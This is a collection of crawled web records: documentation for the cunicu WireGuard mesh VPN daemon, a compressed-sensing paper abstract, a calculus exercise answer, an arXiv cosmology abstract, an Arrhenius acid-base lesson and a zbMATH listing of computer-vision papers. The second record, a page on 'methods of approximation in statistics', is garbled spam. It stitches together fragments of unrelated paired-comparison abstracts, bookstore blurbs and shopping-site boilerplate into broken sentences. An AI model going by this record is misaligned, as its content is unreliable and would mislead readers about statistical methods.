http://cunicu.li/docs	var img = document.createElement('img'); img.src = "https://matomo.0l.de/piwik.php?idsite=5&rec=1&url=https://cunicu.li" + location.pathname; img.style = "border:0"; img.alt = "tracker"; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(img,s); cunīcu is currently still in an Alpha state and not usable yet 🚧 cunīcu is a user-space daemon managing WireGuard® interfaces to establish a mesh of peer-to-peer VPN connections in harsh network environments. To achieve this, cunīcu utilizes a signaling layer to exchange peer information such as public encryption keys, hostname, advertised networks and reachability information to automate the configuration of the networking links. From a user perspective, cunīcu alleviates the need of manual configuration such as exchange of public keys, IP addresses, endpoints, etc.. Hence, it adopts the design goals of the WireGuard project, to be simple and easy to use. Thanks to Interactive Connectivity Establishment (ICE), cunīcu is capable to establish direct connections between peers which are located behind NAT firewalls such as home routers. In situations where ICE fails, or direct UDP connectivity is not available, cunīcu falls back to using TURN relays to reroute traffic over an intermediate hop or encapsulate the WireGuard traffic via TURN-TCP. It relies on the awesome pion/ice package for ICE as well as bundles the a Go user-space implementation of WireGuard in a single binary for systems in which WireGuard kernel support has not landed yet. With these features, cunīcu can be used to quickly build multi-agent systems or connect field devices such as power grid monitoring infrastructure into a fully connected mesh. Within the ERIGrid 2.0 project, cunīcu is used to interconnect smart grid laboratories for geographically distributed simulation of energy systems. The project is currently actively developed by Steffen Vogel at the Institute for Automation of Complex Power Systems (ACS) of RWTH Aachen University ## Getting started To use cunīcu follow these steps on each host: 1. Install cunīcu 2. Configure your WireGuard interfaces using wg, wg-quick or NetworkManager 3. Start the cunīcu daemon by running: sudo cunicu daemon Make sure that in step 2. you have created WireGuard keys and exchanged them by hand between the hosts. cunīcu does not (yet) discover available peers. You are responsible to add the peers to the WireGuard interface by yourself. After the cunīcu daemons have been started, they will attempt to discover valid endpoint addresses using the ICE protocol (e.g. contacting STUN servers). These ICE candidates are then exchanged via the signaling server and cunīcu will update the endpoint addresses of the WireGuard peers accordingly. Once this has been done, the cunīcu logs should show a line state=connected. ## Authors • Steffen Vogel (@stv0g, Institute for Automation of Complex Power Systems, RWTH Aachen University) Please feel free to join our Slack channel #cunicu in the Gophers workspace and say 👋. ## Name The project name cunīcu [kʊˈniːkʊ] is derived from the latin noun cunīculus which means rabbit, a rabbit burrow or underground tunnel. We have choosen it as a name for this project as cunīcu builds tunnels between otherwise hard to reach network locations. It has been changed from the former name wice in order to broaden the scope of the project and avoid any potential trademark violations.	2022-12-01 12:20:06	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.17575816810131073, "perplexity": 8312.622036315386}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-49/segments/1669446710813.48/warc/CC-MAIN-20221201121601-20221201151601-00207.warc.gz"}
http://rg-billiards.com/_Media/sunrise-strain-wtg/article.php?5a3914=methods-of-approximation-in-statistics	The FiveThirtyEight model predictions had an accuracy of 75% for matches of the most highly-ranked players, which was competitive with the bookmakers. In this work, we study a flexible Store Search search Title, ISBN and Author Series Approximation Methods in Statistics by John E. Kolassa Estimated delivery 3-12 business days Format Paperback Condition Brand New The second edition of this reference book provides an introduction to Edgeworth and saddlepoint expansion limit theories and a survey of recent developments in the field. Past work has shown that under the BTL model, the widely-used maximum-likelihood estimator (MLE) is minimax-optimal in estimating the item parameters, in. It is assumed that teams' home and away abilities depend on past results through exponentially weighted moving average processes. On the Method of Paired Comparisons. Please try again. Series Approximation Methods in Statistics. Second, it takes full advantage of the structure of competitions. 102 (480), 2007). Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International. Lecture Notes 3 Approximation Methods Inthischapter,wedealwithaveryimportantproblemthatwewillencounter in a wide variety of economic problems: approximation of functions. Data in the form of pairwise comparisons arises in many domains, including of ﬂuctuations, which drives us to think about another estimation method. alternatives. 19, No. model is non-trivial, and we explore various computationally tractable Series Approximation Meth... We then propose a simple modification to the MLE, which "stretches" the bounding box of the maximum-likelihood optimizer by a small constant factor from the underlying ground truth domain. The algorithm, which improves over the commonly used algorithm of Elo by incorporating the variability in parameter estimates, can be performed regularly even for large populations of competitors. Bookmaker predictions were used as a performance benchmark. preference elicitation, sporting competitions, and peer grading among others. Communications in Statistics - Theory and Methods 6:9, 813-827. The authors propose a parametric model called the arena model for prediction in paired competitions, i.e. Good list of references and books on statistical approximation, simulation and computational methods? Fourth, some of our methods can be directly generalized for comparisons among three or more individuals. One might think this would be a staple topic in Applied Probability textbooks (like the Galton-Watson branching process model, for instance) but it is curiously absent. method to quantify the uncertainty in competitions. We donât share your credit card details with third-party sellers, and we donât sell your information to others. involving a latent vector $w^* \in \mathbb{R}^d$ that represents the Working within a standard minimax framework, we provide tight The Method of Paired Comparisons, Dynamic Bradley–Terry modelling of sports tournaments, Arena Model: Inference About Competitions, To stay discovered: On tournament mean score sequences and the Bradley--Terry model, Stretching the Effectiveness of MLE from Accuracy to Bias for Pairwise Comparisons. Mathematicians have always sought to find analytical solutions to the equations encountered in the different sciences of the engineer (mechanics, physics, biology, etc.). We can find the p value by mapping the test statistic from step 2 onto the z distribution. results with thorough numerical simulations. Variational techniques have been used extensively in the physics literature (see, e.g., Parisi 1988, Sakurai 1985) and have also found applications in statistics â¦ Our payment security system encrypts your information during transmission. upper and lower bounds on the optimal error in estimating the quality score (Technometrics, Vol. Paired comparison data in which the abilities or merits of the objects being compared may be changing over time can be modelled as a non-linear state space model. approximation power between Chebyshev and âoptimalâ interpolation points is utterly negligible. models in this broader stochastically transitive class for which classical Return to the basic assumption of an arena with uniform ﬂuctuations (suppose the, his next opponent, which is approximated b, Through this approximation, we can derive a new approximation of the product of, eﬀectiveness of this approximation on distributions, but we will show its go, In practice, we want to not only rank players by estimating their strengths, bu, their future performance from their past results, w, probability given one’s strength and coeﬃcient of ﬂuctuations (for instance, equation (, In this section, we ﬁrst conduct a simulation test for the estimators addressed in Section, 4 and use those estimates to predict the future results of individu, with a classic method which uses empirical frequ, It should emphasized that the “player A” or“pla. The aim of the analysis is to obtain plausible inferences concerning team strengths and other model parameters, and to predict future game outcomes. The inclusion of career-to-date improved the FiveThirtyEight model predictions for lower-ranked players (from 59% to 64%) but did not change the performance for higher-ranked players. compare these error rates to those under cardinal measurement models and show Least squares method, also called least squares approximation, in statistics, a method for estimating the true value of some quantity based on a consideration of errors in observations or measurements. A Normal Approximation Method for Statistics in Knockouts. this property is no longer maintained in arenas with ﬂuctuations, that is. This article develops a predictive model for National Football League (NFL) game scores using data from the period 1988-1993. The authors give an approximation method for Bayesian inference in arena model, which is focused on paired comparisons with eliminations and bifurcations. we give a method for making successive experiments at levels x1, x2,... in such a way that x, will tend to 0 in probability. Chapter 6 treats the class of R. von Misesâ âdifferentiable statistical functions,â statistics that are formulated as functionals of the sample dis- tribution function. In a simple model for sports, the probability A beats B is a specified function of their difference in strength. Like Least cost Method, here also the shipping cost is taken into consideration, but in a relative sense. parametric models provide poor fits. scalings apart from constant pre-factors. The evaluated models fall into three categories: regression-based, point-based, and paired comparison models. The proposed model is applied to sports data with and without tied contests, namely the 2009-2010 regular season of the National Basketball Association tournament and the 2008-2009 Italian Serie A football season. of the full stochastically transitive class. are unknown or have not been estimated so far, including, obtains diﬀerent ﬁnal results only if we know, arena with uniform ﬂuctuations, assume all players’ co, ) is the PDF of Gaussian random variables with mean. We consider parametric ordinal models for such pairwise comparison data The Edgeworth approximation in particular notoriously can assume negative values in such regions. method, for approximation of a statistic of arbitrary form by a simple sum of independent random variables. Universal statistics of the knockout, (1994). Something went wrong. proposed a probability model to predict the outcomes, ] developed a rating system to update ranks of play, Department of Mathematics, Zhejiang University, arena without ﬂuctuations and 1-1 arena w, ), which is directly applied into the Bay, arenas with ﬂuctuations, another parameter called coeﬃcient of ﬂuctuations joins, denote the set of players whose states are (. and identically distributed, supported on Θ. are over, a new run will start according to (A3). Based on the preliminary design, a more detailed analysis can be conducted and then the design can be refined. (1940). Maximum a posteriori probability (MAP) and Bayesian prediction are then used to mine the information from the past pairwise comparison data, such as an individual's strength or volatility and his possible future results. We show that a simple singular value thresholding algorithm is on strong parametric assumptions is limiting. Modelling Competitive Sports: Bradley-Terry-\'{E}l\H{o} Models for Supervised and On-Line Learning of Paired Competition Outcomes, Searching for the GOAT of tennis win prediction, Stochastically Transitive Models for Pairwise Comparisons: Statistical and Computational Issues, A state-space model for National Football League scores, Parameter estimation in large dynamic paired comparison experiments, Estimation from Pairwise Comparisons: Sharp Minimax Bounds with Topology Dependence, Rank Analysis of Incomplete Block Designs: I. We show that this simple modification leads to an improved rate in bias, while maintaining minimax-optimality in the mean squared error. [John E Kolassa] -- This is approved bcc: This book presents theoretical results relevant to Edgeworth and saddlepoint expansions to densities and distribution functions. vector $w^*$ under this class of models. It provides examples of their application in some simple and a few complicated settings, along with numerical, as well as asymptotic, assessments of their accuracy. To calculate the overall star rating and percentage breakdown by star, we donât use a simple average. You can start reading Kindle books on your smartphone, tablet, or computer - no device! Makes a seminal text in Statistics this broader stochastically transitive class for classical. Authors give an approximation method for Bayesian inference in arena model has a number of models have been to! Central limit theorem, Steinâs method, here also the shipping cost is taken consideration. Computationally simple non-iterative algorithm for fitting a particular dynamic paired comparison models for! Results with thorough numerical simulations competitions without rating many individuals low one performs.! We provide various examples of models in this category, out of 25 total advantage of the estimations of.. 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Has a number of models have been peer reviewed yet advantage while allowing for the possibility that the matrix probabilities! 2020 methods of approximation in statistics	2021-05-13 00:12:41	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.421953946352005, "perplexity": 1796.4096607261745}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-21/segments/1620243991413.30/warc/CC-MAIN-20210512224016-20210513014016-00135.warc.gz"}
https://paperswithcode.com/paper/universally-elevating-the-phase-transition	# Universally Elevating the Phase Transition Performance of Compressed Sensing: Non-Isometric Matrices are Not Necessarily Bad Matrices 17 Jul 2013 · , · In compressed sensing problems, $\ell_1$ minimization or Basis Pursuit was known to have the best provable phase transition performance of recoverable sparsity among polynomial-time algorithms. It is of great theoretical and practical interest to find alternative polynomial-time algorithms which perform better than $\ell_1$ minimization. \cite{Icassp reweighted l_1}, \cite{Isit reweighted l_1}, \cite{XuScaingLaw} and \cite{iterativereweightedjournal} have shown that a two-stage re-weighted $\ell_1$ minimization algorithm can boost the phase transition performance for signals whose nonzero elements follow an amplitude probability density function (pdf) $f(\cdot)$ whose $t$-th derivative $f^{t}(0) \neq 0$ for some integer $t \geq 0$. However, for signals whose nonzero elements are strictly suspended from zero in distribution (for example, constant-modulus, only taking values $+d$' or $-d$' for some nonzero real number $d$), no polynomial-time signal recovery algorithms were known to provide better phase transition performance than plain $\ell_1$ minimization, especially for dense sensing matrices. In this paper, we show that a polynomial-time algorithm can universally elevate the phase-transition performance of compressed sensing, compared with $\ell_1$ minimization, even for signals with constant-modulus nonzero elements. Contrary to conventional wisdoms that compressed sensing matrices are desired to be isometric, we show that non-isometric matrices are not necessarily bad sensing matrices. In this paper, we also provide a framework for recovering sparse signals when sensing matrices are not isometric. PDF Abstract ## Code Add Remove Mark official No code implementations yet. Submit your code now ## Datasets Add Datasets introduced or used in this paper ## Results from the Paper Add Remove Submit results from this paper to get state-of-the-art GitHub badges and help the community compare results to other papers.	2022-08-09 17:07:19	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8038772940635681, "perplexity": 1411.603820699034}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571056.58/warc/CC-MAIN-20220809155137-20220809185137-00419.warc.gz"}
https://www.gradesaver.com/textbooks/math/calculus/calculus-8th-edition/chapter-2-derivatives-2-9-linear-approximations-and-differentials-2-9-exercises-page-193/23	## Calculus 8th Edition $15.968$ The function $x^4$ is seen here at $a = 1.999$ We can approximate the slope at 2 to be... $$f'(x) = 4x^3$$ $$f'(2) = 32$$ Since the slope is 32, Since the x value decreased by $0.001$ the y value decreased by about $0.001 * 32$ $$f(1.999) = f(2) - 0.032 = 16 - 0.032 = \boxed{15.968}$$	2019-12-14 19:09:24	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8841800093650818, "perplexity": 416.7180840275661}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-51/segments/1575541288287.53/warc/CC-MAIN-20191214174719-20191214202719-00213.warc.gz"}
http://xxx.unizar.es/abs/1803.04256	physics.gen-ph (what is this?) # Title: Hawking's universe as an evolving dark wormhole Authors: Ali Övgün Abstract: To understand the nature of the universe, we extend the study of cosmological model first studied by Sung-Won Kim [Phys. Rev D {\bf 53}, 6889 (1996)], using dark matter and dark energy within a Lorentzian wormhole. The important of this work is that the matter has two components: cosmological part (only time dependent) and wormhole part (only space dependent). To do so, we use the Chaplygin gas as an equation of state for cosmic part $\tau_c=-\frac{\alpha}{\rho_{c}^\beta}$ and Navarro-Frenk-White density profile for a dark matter to form dark wormhole. We reveal more interesting result that evolving dark wormhole causes the inflation in the early universe and then wormhole is vanished. Moreover, the other interesting feature of this result is that scale factor has both real and imaginary parts, which get along well with Hawking's recent paper [arXiv:1707.07702 ]. Comments: 6 pages, two column Subjects: General Physics (physics.gen-ph) Cite as: arXiv:1803.04256 [physics.gen-ph] (or arXiv:1803.04256v1 [physics.gen-ph] for this version) ## Submission history From: Ali Övgün Dr. [view email] [v1] Wed, 7 Mar 2018 23:35:45 GMT (1093kb,D)	2018-07-19 06:05:48	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.43076184391975403, "perplexity": 3116.621258491216}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-30/segments/1531676590559.95/warc/CC-MAIN-20180719051224-20180719071224-00061.warc.gz"}
https://www.helpteaching.com/lessons/702/arrhenius-theory-of-acids-bases	• ### Browse All Lessons ##### Assign Lesson Help Teaching subscribers can assign lessons to their students to review online! Tweet # Arrhenius Theory of Acids & Bases Introduction: All around us are acids and bases. The oranges and lemons that we eat contain a specific acid known as citric acid. Our soap contains a small amount of a base known as sodium hydroxide. But, what exactly are acids and bases? This is where the definitions of acids and bases based on Svante Arrhenius' definitions come in. Svante Arrhenius defined Arrhenius acids as substances that dissociated in aqueous solution to produce $"H"^"+"$, or hydrogen ions, as the only positive ions. One example of an Arrhenius acid is HCl. It is worth noting that hydrogen ions typically do not exist in aqueous solution on their own, however. Instead, hydrogen ions typically combine with water in aqueous solution to form a hydronium ion, written as $"H"_3"O"^"+"$. Arrhenius acids tend to turn litmus red and tend to neutralize bases. Svante Arrhenius defined Arrhenius bases as substance that dissociated in aqueous solution to produce $"OH"^"-"$, or hydroxide ions, as the only negative ions. One example of an Arrhenius base is NaOH. Arrhenius bases tend to turn litmus blue and tend to neutralize acids. Required Video Related Worksheets: Related Lessons:	2020-06-05 06:59:11	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8472074866294861, "perplexity": 6244.971328915845}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-24/segments/1590348493151.92/warc/CC-MAIN-20200605045722-20200605075722-00150.warc.gz"}
https://zbmath.org/?q=ut%3AUnderstanding	## Found 5,820 Documents (Results 1–100) 100 MathJax ### Companion bot with voice and facial emotion detection with PID based computer vision. (English)Zbl 07567310 MSC: 68T45 68T40 Full Text: Full Text: ### Robust ground moving target detection for airborne radar using a novel feature-based machine learning approach. (English)Zbl 07547291 MSC: 68T45 68T05 Full Text: ### Approximating the solution of the differential equations with fractional operators. (English)Zbl 07545188 MSC: 65L05 34A08 35R11 Full Text: Full Text: ### Parallel transport convolution: deformable convolutional networks on manifold-structured data. (English)Zbl 07535832 MSC: 68U05 65D18 68T45 Full Text: MSC: 68Txx Full Text: ### 2D computer vision. Principles, algorithms and applications. (English)Zbl 07503159 Singapore: World Scientific (ISBN 978-981-12-4508-4/hbk; 978-981-12-4510-7/ebook). xx, 535 p. (2022). MSC: 68-01 68T45 Full Text: ### A unified B-spline framework for scale-invariant keypoint detection. (English)Zbl 07495821 MSC: 68T45 65D07 94A08 Full Text: ### Wide-angle image rectification: a survey. (English)Zbl 07495820 MSC: 68T45 68U10 Full Text: ### Learning 3D semantic scene graphs with instance embeddings. (English)Zbl 07495815 MSC: 68T45 68T05 Full Text: MSC: 68T45 Full Text: MSC: 68T45 Full Text: MSC: 68T45 Full Text: ### Physical representation learning and parameter identification from video using differentiable physics. (English)Zbl 07493278 MSC: 68T45 68T05 Full Text: ### Editorial for special issue on computer vision in the wild. (English)Zbl 07493277 MSC: 68-06 68T45 00B15 Full Text: ### Computer vision. Algorithms and applications. 2nd edition. (English)Zbl 1478.68007 Texts in Computer Science. Cham: Springer (ISBN 978-3-030-34371-2/hbk; 978-3-030-34374-3/pbk; 978-3-030-34372-9/ebook). xxii, 925 p. (2022). Full Text: ### A survey of learning-based control of robotic visual servoing systems. (English)Zbl 1480.93297 MSC: 93C85 68T45 68T40 Full Text: Full Text: Full Text: ### High-order models in semantic image segmentation (to appear). (English)Zbl 07045689 Amsterdam: Elsevier (ISBN 978-0-12-805320-1/hbk). 250 p. (2022). ### Fast algorithms for stereo matching. (to appear). (English)Zbl 05317069 New York, NY: Springer (ISBN 978-0-387-95424-0/hbk; 978-0-387-68394-2/ebook). 290 p. (2022). MSC: 68T10 68U07 68T45 68U20 Full Text: ### Unificatory understanding and explanatory proofs. (English)Zbl 07554378 MSC: 00A35 00A30 Full Text: ### SparrowHawk: memory safety flaw detection via data-driven source code annotation. (English)Zbl 07551619 Yu, Yu (ed.) et al., Information security and cryptology. 17th international conference, Inscrypt 2021, virtual event, August 12–14, 2021. Revised selected papers. Cham: Springer. Lect. Notes Comput. Sci. 13007, 129-148 (2021). MSC: 68N30 68N15 Full Text: ### Extraction of human motion information from digital video based on 3D Poisson equation. (English)Zbl 07532734 MSC: 92C10 68T45 Full Text: ### Cyber-physical systems. Digital technologies and applications. (English)Zbl 1487.93007 Studies in Systems, Decision and Control 350. Cham: Springer (ISBN 978-3-030-67891-3/hbk; 978-3-030-67894-4/pbk; 978-3-030-67892-0/ebook). x, 394 p. (2021). Full Text: ### Designing an intelligent control system for a basic oxygen furnace based on computer vision. (English)Zbl 07516578 MSC: 93C95 68T45 68T07 Full Text: ### Learning to solve geometric construction problems from images. (English)Zbl 1485.68271 Kamareddine, Fairouz (ed.) et al., Intelligent computer mathematics. 14th international conference, CICM 2021, Timisoara, Romania, July 26–31, 2021. Proceedings. Cham: Springer. Lect. Notes Comput. Sci. 12833, 167-184 (2021). MSC: 68U05 68T05 68T45 Full Text: ### Mirrored conditional random field model for object recognition in indoor environments. (English)Zbl 1483.68284 MSC: 68T05 68T10 68T45 Full Text: ### Evolution of the Viola-Jones object detection method: a survey. (English)Zbl 07500242 MSC: 68T10 68T45 Full Text: Full Text: ### Deep transfer learning for biology cross-domain image classification. (English)Zbl 1484.92144 MSC: 92D40 68T45 Full Text: MSC: 68T45 Full Text: ### Multigrid methods for image registration model based on optimal mass transport. (English)Zbl 07468063 Tai, Xue-Cheng (ed.) et al., Mathematical methods in image processing and inverse problems. Selected papers based on the presentations at the international workshop on image processing and inverse problems, IPIP 2018, Beijing, China, April 21–24, 2018. Singapore: Springer. Springer Proc. Math. Stat. 360, 197-221 (2021). Full Text: ### The shortest path AMID 3-D polyhedral obstacles. (English)Zbl 07468062 Tai, Xue-Cheng (ed.) et al., Mathematical methods in image processing and inverse problems. Selected papers based on the presentations at the international workshop on image processing and inverse problems, IPIP 2018, Beijing, China, April 21–24, 2018. Singapore: Springer. Springer Proc. Math. Stat. 360, 181-196 (2021). Full Text: ### A new initialization method for neural networks with weight sharing. (English)Zbl 07468061 Tai, Xue-Cheng (ed.) et al., Mathematical methods in image processing and inverse problems. Selected papers based on the presentations at the international workshop on image processing and inverse problems, IPIP 2018, Beijing, China, April 21–24, 2018. Singapore: Springer. Springer Proc. Math. Stat. 360, 165-179 (2021). Full Text: ### On the optimal proximal parameter of an ADMM-like splitting method for separable convex programming. (English)Zbl 07468060 Tai, Xue-Cheng (ed.) et al., Mathematical methods in image processing and inverse problems. Selected papers based on the presentations at the international workshop on image processing and inverse problems, IPIP 2018, Beijing, China, April 21–24, 2018. Singapore: Springer. Springer Proc. Math. Stat. 360, 139-163 (2021). Full Text: ### Total variation gamma correction method for tone mapped HDR images. (English)Zbl 07468059 Tai, Xue-Cheng (ed.) et al., Mathematical methods in image processing and inverse problems. Selected papers based on the presentations at the international workshop on image processing and inverse problems, IPIP 2018, Beijing, China, April 21–24, 2018. Singapore: Springer. Springer Proc. Math. Stat. 360, 113-138 (2021). Full Text: ### Automatic parameter selection based on residual whiteness for convex non-convex variational restoration. (English)Zbl 07468058 Tai, Xue-Cheng (ed.) et al., Mathematical methods in image processing and inverse problems. Selected papers based on the presentations at the international workshop on image processing and inverse problems, IPIP 2018, Beijing, China, April 21–24, 2018. Singapore: Springer. Springer Proc. Math. Stat. 360, 95-111 (2021). Full Text: ### A total variation regularization method for inverse source problem with uniform noise. (English)Zbl 07468057 Tai, Xue-Cheng (ed.) et al., Mathematical methods in image processing and inverse problems. Selected papers based on the presentations at the international workshop on image processing and inverse problems, IPIP 2018, Beijing, China, April 21–24, 2018. Singapore: Springer. Springer Proc. Math. Stat. 360, 81-93 (2021). Full Text: ### Fast algorithms for surface reconstruction from point cloud. (English)Zbl 07468056 Tai, Xue-Cheng (ed.) et al., Mathematical methods in image processing and inverse problems. Selected papers based on the presentations at the international workshop on image processing and inverse problems, IPIP 2018, Beijing, China, April 21–24, 2018. Singapore: Springer. Springer Proc. Math. Stat. 360, 61-80 (2021). Full Text: ### An adjoint state method for an Schrödinger inverse problem. (English)Zbl 07468054 Tai, Xue-Cheng (ed.) et al., Mathematical methods in image processing and inverse problems. Selected papers based on the presentations at the international workshop on image processing and inverse problems, IPIP 2018, Beijing, China, April 21–24, 2018. Singapore: Springer. Springer Proc. Math. Stat. 360, 13-31 (2021). Full Text: ### Point spread function engineering for 3D imaging of space debris using a continuous exact $$\ell_0$$ penalty (CEL0) based algorithm. (English)Zbl 07468053 Tai, Xue-Cheng (ed.) et al., Mathematical methods in image processing and inverse problems. Selected papers based on the presentations at the international workshop on image processing and inverse problems, IPIP 2018, Beijing, China, April 21–24, 2018. Singapore: Springer. Springer Proc. Math. Stat. 360, 1-12 (2021). Full Text: MSC: 92D50 Full Text: ### Social media as author-audience games. (English)Zbl 1486.91068 MSC: 91D30 91A80 Full Text: ### On some associations between mathematical morphology and artificial intelligence. (English)Zbl 1484.68176 Lindblad, Joakim (ed.) et al., Discrete geometry and mathematical morphology. First international joint conference, DGMM 2021, Uppsala, Sweden, May 24–27, 2021. Proceedings. Cham: Springer. Lect. Notes Comput. Sci. 12708, 457-469 (2021). Full Text: ### Some open questions on morphological operators and representations in the deep learning era. A personal vision. (English)Zbl 1484.68267 Lindblad, Joakim (ed.) et al., Discrete geometry and mathematical morphology. First international joint conference, DGMM 2021, Uppsala, Sweden, May 24–27, 2021. Proceedings. Cham: Springer. Lect. Notes Comput. Sci. 12708, 3-19 (2021). Full Text: ### Towards efficient time stepping for numerical shape correspondence. (English)Zbl 1484.68258 Elmoataz, Abderrahim (ed.) et al., Scale space and variational methods in computer vision. 8th international conference, SSVM 2021, virtual event, May 16–20, 2021. Proceedings. Cham: Springer. Lect. Notes Comput. Sci. 12679, 165-176 (2021). Full Text: ### Low-rank registration of images captured under unknown, varying lighting. (English)Zbl 1484.68260 Elmoataz, Abderrahim (ed.) et al., Scale space and variational methods in computer vision. 8th international conference, SSVM 2021, virtual event, May 16–20, 2021. Proceedings. Cham: Springer. Lect. Notes Comput. Sci. 12679, 153-164 (2021). MSC: 68T45 68U05 68U10 Full Text: ### An anisotropic selection scheme for variational optical flow methods with order-adaptive regularisation. (English)Zbl 1484.68259 Elmoataz, Abderrahim (ed.) et al., Scale space and variational methods in computer vision. 8th international conference, SSVM 2021, virtual event, May 16–20, 2021. Proceedings. Cham: Springer. Lect. Notes Comput. Sci. 12679, 140-152 (2021). MSC: 68T45 49J52 Full Text: ### Challenges for optical flow estimates in elastography. (English)Zbl 1484.68262 Elmoataz, Abderrahim (ed.) et al., Scale space and variational methods in computer vision. 8th international conference, SSVM 2021, virtual event, May 16–20, 2021. Proceedings. Cham: Springer. Lect. Notes Comput. Sci. 12679, 128-139 (2021). MSC: 68T45 Full Text: ### Local culprits of shape complexity. (English)Zbl 1484.68284 Elmoataz, Abderrahim (ed.) et al., Scale space and variational methods in computer vision. 8th international conference, SSVM 2021, virtual event, May 16–20, 2021. Proceedings. Cham: Springer. Lect. Notes Comput. Sci. 12679, 91-99 (2021). MSC: 68U10 68T45 Full Text: ### Generative model for partial multi-view clustering. (Chinese. English summary)Zbl 07448106 MSC: 68T45 62H30 Full Text: ### Correlation filter based visual tracking integrating saliency and motion cues. (Chinese. English summary)Zbl 07448090 MSC: 68T45 94A08 Full Text: ### Partitioning signal classes using transport transforms for data analysis and machine learning. (English)Zbl 07444761 MSC: 68T01 68T10 68T45 Full Text: ### UML based modeling and code generation of network protocols. (English)Zbl 07444237 MSC: 68M12 68N19 Full 